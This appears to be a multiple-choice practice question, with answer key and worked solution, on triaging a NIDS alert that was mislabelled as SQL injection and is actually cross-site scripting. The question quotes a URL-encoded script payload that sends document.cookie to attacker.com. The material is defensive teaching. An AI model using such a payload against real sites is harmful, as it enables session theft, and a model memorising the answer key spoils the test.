Examkin

Soru

Zorluk: OrtaNetwork Security Monitoring and Alerting

A security analyst is triaging alerts from a Network Intrusion Detection System (NIDS) monitoring incoming web traffic to an internal app server. The NIDS sensor triggered an automated alert categorized as 'Database Manipulation Attempt' after capturing the following HTTP request payload:

`GET /catalog/product.php?id=%3Cscript%3Efetch%28%27http%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%29%3C%2Fscript%3E HTTP/1.1`
`Host: store.internal.net`

Upon reviewing the log payload, which of the following correctly identifies the actual threat vector present in the capture and the most appropriate remediation measure?

  1. Cross-Site Scripting (XSS); implement input validation and context-aware output encoding on the application.Cevap
  2. B
    SQL Injection (SQLi); implement parameterized database queries and prepared statements on the backend database.
  3. C
    Cross-Site Scripting (XSS); update network boundary firewall ACLs to block all outbound HTTP connections from the web server.
  4. D
    Cross-Site Scripting (XSS); deploy a network honeypot inline to actively drop client-side malicious script packets in transit.

Cevap

Cross-Site Scripting (XSS); implement input validation and context-aware output encoding on the application.
The captured payload features URL-encoded HTML script tags (`%3Cscript%3E...%3C%2Fscript%3E`) attempting to exfiltrate session data stored in `document.cookie`. This is a classic indicator of Cross-Site Scripting (XSS). The primary mitigation for XSS is securing the application logic using robust input validation and output encoding.

Adım Adım Çözüm

1
Analyze the packet payload in the NIDS alert
The URL parameter contains URL-encoded HTML tags and client-side JavaScript (`<script>fetch(...document.cookie)</script>`).
Examining the raw payload reveals the true attack pattern rather than relying solely on automated rule labels.
2
Distinguish between web application attack types
The presence of client-side script execution targeting session cookies confirms Cross-Site Scripting (XSS), not SQL Injection.
SQL injection involves database query manipulation syntax (e.g., `SELECT`, `' OR 1=1`), whereas XSS targets client browser execution.
3
Determine the effective root-cause remediation control
Sanitizing input and encoding output at the application layer neutralizes script execution attempts.
Remediating vulnerable application code addresses the root cause directly, whereas network-level blocking or honeypots fail to secure the code flaw.

Anahtar Kavram

Log Payload Analysis & Security Control Selection
Bu soruyu puanla

Konular

Network Security Monitoring and Alerting

Bu konudan daha fazla soru